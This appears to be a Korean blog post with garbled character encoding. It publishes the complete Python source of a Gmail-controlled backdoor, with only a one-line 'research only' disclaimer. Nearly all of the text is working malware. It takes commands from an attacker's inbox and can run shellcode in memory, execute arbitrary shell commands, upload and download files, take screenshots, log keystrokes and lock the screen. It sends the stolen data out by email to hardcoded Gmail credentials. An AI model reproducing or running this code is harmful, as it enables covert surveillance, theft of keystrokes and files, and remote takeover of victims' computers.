728x90
๋ฐ์ํ
python ์ ์ฑ์ฝ๋ ์ํ์ ๋๋ค.
๋ถ์ ๋๋ ์ฐ๊ตฌ ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํ์๊ธฐ ๋ฐ๋๋๋ค. ๋ชจ๋ ์ฑ ์์ ์ฌ์ฉ์ ๋ณธ์ธ์๊ฒ ์์ต๋๋ค.
- import subprocess
- import sys
- import os
- import base64
- import binascii
- import threading
- import time
- import random
- import string
- import imaplib
- import email
- import uuid
- import platform
- import ctypes
- import json
- #import logging
- #from traceback import print_exc, format_exc
- from base64 import b64decode
- from smtplib import SMTP
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEBase import MIMEBase
- from email.MIMEText import MIMEText
- from email import Encoders
- from struct import pack
- from zlib import compress, crc32
- from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, POINTER, WINFUNCTYPE, CFUNCTYPE, POINTER
- from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG
- #######################################
- gmail_user = 'gcat.is.the.shit@gmail.com'
- gmail_pwd = 'veryc00lp@ssw0rd'
- server = 'smtp.gmail.com'
- server_port = 587
- #######################################
- #Prints error messages and info to stdout
- #verbose = True
- #log_level = 20
- #if verbose is True:
- # log_level = 10
- #logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
- #generates a unique uuid
- uniqueid = str(uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.getnode())))
- WH_KEYBOARD_LL=13
- WM_KEYDOWN=0x0100
- CTRL_CODE = 162
- ### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ###
- class BITMAPINFOHEADER(Structure):
- _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
- ('biPlanes', WORD), ('biBitCount', WORD),
- ('biCompression', DWORD), ('biSizeImage', DWORD),
- ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG),
- ('biClrUsed', DWORD), ('biClrImportant', DWORD)]
- class BITMAPINFO(Structure):
- _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)]
- class screenshot(threading.Thread):
- ''' Mutliple ScreenShots implementation for Microsoft Windows. '''
- def __init__(self, jobid):
- ''' Windows initialisations. '''
- threading.Thread.__init__(self)
- self.jobid = jobid
- self.daemon = True
- self._set_argtypes()
- self._set_restypes()
- self.start()
- def _set_argtypes(self):
- ''' Functions arguments. '''
- self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT),
- DOUBLE)
- windll.user32.GetSystemMetrics.argtypes = [INT]
- windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p,
- self.MONITORENUMPROC,
- LPARAM]
- windll.user32.GetWindowDC.argtypes = [HWND]
- windll.gdi32.CreateCompatibleDC.argtypes = [HDC]
- windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
- windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ]
- windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT,
- DWORD]
- windll.gdi32.DeleteObject.argtypes = [HGDIOBJ]
- windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p,
- POINTER(BITMAPINFO), UINT]
- def _set_restypes(self):
- ''' Functions return type. '''
- windll.user32.GetSystemMetrics.restypes = INT
- windll.user32.EnumDisplayMonitors.restypes = BOOL
- windll.user32.GetWindowDC.restypes = HDC
- windll.gdi32.CreateCompatibleDC.restypes = HDC
- windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP
- windll.gdi32.SelectObject.restypes = HGDIOBJ
- windll.gdi32.BitBlt.restypes = BOOL
- windll.gdi32.GetDIBits.restypes = INT
- windll.gdi32.DeleteObject.restypes = BOOL
- def enum_display_monitors(self, screen=-1):
- ''' Get positions of one or more monitors.
- Returns a dict with minimal requirements.
- '''
- if screen == -1:
- SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77
- SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79
- left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN)
- right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN)
- top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN)
- bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN)
- yield ({
- b'left': int(left),
- b'top': int(top),
- b'width': int(right - left),
- b'height': int(bottom - top)
- })
- else:
- def _callback(monitor, dc, rect, data):
- ''' Callback for MONITORENUMPROC() function, it will return
- a RECT with appropriate values.
- '''
- rct = rect.contents
- monitors.append({
- b'left': int(rct.left),
- b'top': int(rct.top),
- b'width': int(rct.right - rct.left),
- b'height': int(rct.bottom - rct.top)
- })
- return 1
- monitors = []
- callback = self.MONITORENUMPROC(_callback)
- windll.user32.EnumDisplayMonitors(0, 0, callback, 0)
- for mon in monitors:
- yield mon
- def get_pixels(self, monitor):
- ''' Retrieve all pixels from a monitor. Pixels have to be RGB.
- [1] A bottom-up DIB is specified by setting the height to a
- positive number, while a top-down DIB is specified by
- setting the height to a negative number.
- https://msdn.microsoft.com/en-us/library/ms787796.aspx
- https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx
- '''
- width, height = monitor[b'width'], monitor[b'height']
- left, top = monitor[b'left'], monitor[b'top']
- SRCCOPY = 0xCC0020
- DIB_RGB_COLORS = BI_RGB = 0
- srcdc = memdc = bmp = None
- try:
- bmi = BITMAPINFO()
- bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
- bmi.bmiHeader.biWidth = width
- bmi.bmiHeader.biHeight = -height # Why minus? See [1]
- bmi.bmiHeader.biPlanes = 1 # Always 1
- bmi.bmiHeader.biBitCount = 24
- bmi.bmiHeader.biCompression = BI_RGB
- buffer_len = height * width * 3
- self.image = create_string_buffer(buffer_len)
- srcdc = windll.user32.GetWindowDC(0)
- memdc = windll.gdi32.CreateCompatibleDC(srcdc)
- bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height)
- windll.gdi32.SelectObject(memdc, bmp)
- windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top,
- SRCCOPY)
- bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image,
- bmi, DIB_RGB_COLORS)
- if bits != height:
- raise ScreenshotError('MSS: GetDIBits() failed.')
- finally:
- # Clean up
- if srcdc:
- windll.gdi32.DeleteObject(srcdc)
- if memdc:
- windll.gdi32.DeleteObject(memdc)
- if bmp:
- windll.gdi32.DeleteObject(bmp)
- # Replace pixels values: BGR to RGB
- self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \
- self.image[0:buffer_len:3], self.image[2:buffer_len:3]
- return self.image
- def save(self,
- output='screenshot-%d.png',
- screen=-1,
- callback=lambda *x: True):
- ''' Grab a screenshot and save it to a file.
- Parameters:
- - output - string - the output filename. It can contain '%d' which
- will be replaced by the monitor number.
- - screen - int - grab one screenshot of all monitors (screen=-1)
- grab one screenshot by monitor (screen=0)
- grab the screenshot of the monitor N (screen=N)
- - callback - function - in case where output already exists, call
- the defined callback function with output
- as parameter. If it returns True, then
- continue; else ignores the monitor and
- switches to ne next.
- This is a generator which returns created files.
- '''
- # Monitors screen shots!
- for i, monitor in enumerate(self.enum_display_monitors(screen)):
- if screen <= 0 or (screen > 0 and i + 1 == screen):
- fname = output
- if '%d' in output:
- fname = output.replace('%d', str(i + 1))
- callback(fname)
- self.save_img(data=self.get_pixels(monitor),
- width=monitor[b'width'],
- height=monitor[b'height'],
- output=fname)
- yield fname
- def save_img(self, data, width, height, output):
- ''' Dump data to the image file.
- Pure python PNG implementation.
- Image represented as RGB tuples, no interlacing.
- http://inaps.org/journal/comment-fonctionne-le-png
- '''
- zcrc32 = crc32
- zcompr = compress
- len_sl = width * 3
- scanlines = b''.join(
- [b'0' + data[y * len_sl:y * len_sl + len_sl]
- for y in range(height)])
- magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10)
- # Header: size, marker, data, CRC32
- ihdr = [b'', b'IHDR', b'', b'']
- ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0)
- ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff)
- ihdr[0] = pack(b'>I', len(ihdr[2]))
- # Data: size, marker, data, CRC32
- idat = [b'', b'IDAT', b'', b'']
- idat[2] = zcompr(scanlines, 9)
- idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff)
- idat[0] = pack(b'>I', len(idat[2]))
- # Footer: size, marker, None, CRC32
- iend = [b'', b'IEND', b'', b'']
- iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff)
- iend[0] = pack(b'>I', len(iend[2]))
- with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh:
- fileh.write(
- magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend))
- return
- err = 'MSS: error writing data to "{0}".'.format(output)
- raise ScreenshotError(err)
- def run(self):
- img_name = genRandomString() + '.png'
- for filename in self.save(output=img_name, screen=-1):
- sendEmail({'cmd': 'screenshot', 'res': 'Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)])
- ### End of python-mss code ###
- class msgparser:
- def __init__(self, msg_data):
- self.attachment = None
- self.getPayloads(msg_data)
- self.getSubjectHeader(msg_data)
- self.getDateHeader(msg_data)
- def getPayloads(self, msg_data):
- for payload in email.message_from_string(msg_data[1][0][1]).get_payload():
- if payload.get_content_maintype() == 'text':
- self.text = payload.get_payload()
- self.dict = json.loads(payload.get_payload())
- elif payload.get_content_maintype() == 'application':
- self.attachment = payload.get_payload()
- def getSubjectHeader(self, msg_data):
- self.subject = email.message_from_string(msg_data[1][0][1])['Subject']
- def getDateHeader(self, msg_data):
- self.date = email.message_from_string(msg_data[1][0][1])['Date']
- class keylogger(threading.Thread):
- #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/
- exit = False
- def __init__(self, jobid):
- threading.Thread.__init__(self)
- self.jobid = jobid
- self.daemon = True
- self.hooked = None
- self.keys = ''
- self.start()
- def installHookProc(self, pointer):
- self.hooked = ctypes.windll.user32.SetWindowsHookExA(
- WH_KEYBOARD_LL,
- pointer,
- windll.kernel32.GetModuleHandleW(None),
- 0
- )
- if not self.hooked:
- return False
- return True
- def uninstallHookProc(self):
- if self.hooked is None:
- return
- ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
- self.hooked = None
- def getFPTR(self, fn):
- CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
- return CMPFUNC(fn)
- def hookProc(self, nCode, wParam, lParam):
- if wParam is not WM_KEYDOWN:
- return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
- self.keys += chr(lParam[0])
- if len(self.keys) > 100:
- sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid)
- self.keys = ''
- if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
- sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid)
- self.uninstallHookProc()
- return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
- def startKeyLog(self):
- msg = MSG()
- ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)
- def run(self):
- pointer = self.getFPTR(self.hookProc)
- if self.installHookProc(pointer):
- sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid)
- self.startKeyLog()
- class download(threading.Thread):
- def __init__(self, jobid, filepath):
- threading.Thread.__init__(self)
- self.jobid = jobid
- self.filepath = filepath
- self.daemon = True
- self.start()
- def run(self):
- try:
- if os.path.exists(self.filepath) is True:
- sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath])
- else:
- sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid)
- except Exception as e:
- sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid)
- class upload(threading.Thread):
- def __init__(self, jobid, dest, attachment):
- threading.Thread.__init__(self)
- self.jobid = jobid
- self.dest = dest
- self.attachment = attachment
- self.daemon = True
- self.start()
- def run(self):
- try:
- with open(self.dest, 'wb') as fileh:
- fileh.write(b64decode(self.attachment))
- sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid)
- except Exception as e:
- sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid)
- class lockScreen(threading.Thread):
- def __init__(self, jobid):
- threading.Thread.__init__(self)
- self.jobid = jobid
- self.daemon = True
- self.start()
- def run(self):
- try:
- ctypes.windll.user32.LockWorkStation()
- sendEmail({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid)
- except Exception as e:
- #if verbose == True: print print_exc()
- pass
- class execShellcode(threading.Thread):
- def __init__(self, shellc, jobid):
- threading.Thread.__init__(self)
- self.shellc = shellc
- self.jobid = jobid
- self.daemon = True
- self.start()
- def run(self):
- try:
- shellcode = bytearray(self.shellc)
- ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
- ctypes.c_int(len(shellcode)),
- ctypes.c_int(0x3000),
- ctypes.c_int(0x40))
- buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
- ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
- ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
- ctypes.c_int(0),
- ctypes.c_int(ptr),
- ctypes.c_int(0),
- ctypes.c_int(0),
- ctypes.pointer(ctypes.c_int(0)))
- ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
- except Exception as e:
- #if verbose == True: print_exc()
- pass
- class execCmd(threading.Thread):
- def __init__(self, command, jobid):
- threading.Thread.__init__(self)
- self.command = command
- self.jobid = jobid
- self.daemon = True
- self.start()
- def run(self):
- try:
- proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout_value = proc.stdout.read()
- stdout_value += proc.stderr.read()
- sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid)
- except Exception as e:
- #if verbose == True: print_exc()
- pass
- def genRandomString(slen=10):
- return ''.join(random.sample(string.ascii_letters + string.digits, slen))
- def isAdmin():
- return ctypes.windll.shell32.IsUserAnAdmin()
- def getSysinfo():
- return '{}-{}'.format(platform.platform(), os.environ['PROCESSOR_ARCHITECTURE'])
- def detectForgroundWindows():
- #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/
- EnumWindows = ctypes.windll.user32.EnumWindows
- EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
- GetWindowText = ctypes.windll.user32.GetWindowTextW
- GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW
- IsWindowVisible = ctypes.windll.user32.IsWindowVisible
- titles = []
- def foreach_window(hwnd, lParam):
- if IsWindowVisible(hwnd):
- length = GetWindowTextLength(hwnd)
- buff = ctypes.create_unicode_buffer(length + 1)
- GetWindowText(hwnd, buff, length + 1)
- titles.append(buff.value)
- return True
- EnumWindows(EnumWindowsProc(foreach_window), 0)
- return titles
- class sendEmail(threading.Thread):
- def __init__(self, text, jobid='', attachment=[], checkin=False):
- threading.Thread.__init__(self)
- self.text = text
- self.jobid = jobid
- self.attachment = attachment
- self.checkin = checkin
- self.daemon = True
- self.start()
- def run(self):
- sub_header = uniqueid
- if self.jobid:
- sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
- elif self.checkin:
- sub_header = 'checkin:{}'.format(uniqueid)
- msg = MIMEMultipart()
- msg['From'] = sub_header
- msg['To'] = gmail_user
- msg['Subject'] = sub_header
- message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text})
- msg.attach(MIMEText(str(message_content)))
- for attach in self.attachment:
- if os.path.exists(attach) == True:
- part = MIMEBase('application', 'octet-stream')
- part.set_payload(open(attach, 'rb').read())
- Encoders.encode_base64(part)
- part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
- msg.attach(part)
- while True:
- try:
- mailServer = SMTP()
- mailServer.connect(server, server_port)
- mailServer.starttls()
- mailServer.login(gmail_user,gmail_pwd)
- mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
- mailServer.quit()
- break
- except Exception as e:
- #if verbose == True: print_exc()
- time.sleep(10)
- def checkJobs():
- #Here we check the inbox for queued jobs, parse them and start a thread
- while True:
- try:
- c = imaplib.IMAP4_SSL(server)
- c.login(gmail_user, gmail_pwd)
- c.select("INBOX")
- typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid))
- for msg_id in id_list[0].split():
- #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
- msg_data = c.uid('fetch', msg_id, '(RFC822)')
- msg = msgparser(msg_data)
- jobid = msg.subject.split(':')[2]
- if msg.dict:
- cmd = msg.dict['cmd'].lower()
- arg = msg.dict['arg']
- #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))
- if cmd == 'execshellcode':
- execShellcode(arg, jobid)
- elif cmd == 'download':
- download(jobid, arg)
- elif cmd == 'upload':
- upload(jobid, arg, msg.attachment)
- elif cmd == 'screenshot':
- screenshot(jobid)
- elif cmd == 'cmd':
- execCmd(arg, jobid)
- elif cmd == 'lockscreen':
- lockScreen(jobid)
- elif cmd == 'startkeylogger':
- keylogger.exit = False
- keylogger(jobid)
- elif cmd == 'stopkeylogger':
- keylogger.exit = True
- elif cmd == 'forcecheckin':
- sendEmail("Host checking in as requested", checkin=True)
- else:
- raise NotImplementedError
- c.logout()
- time.sleep(10)
- except Exception as e:
- #logging.debug(format_exc())
- time.sleep(10)
- if __name__ == '__main__':
- sendEmail("0wn3d!", checkin=True)
- try:
- checkJobs()
- except KeyboardInterrupt:
- pass
728x90
๋ฐ์ํ
'Malware' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Pharming malware ์์ฐ์ ๋๋ค. (0) | 2016.12.15 |
---|---|
์ ์ฑ์ฝ๋ ์์ง ๋ฐ ๋ถ์ ๋ฐฉ๋ฒ (0) | 2015.09.03 |
๋๊ธ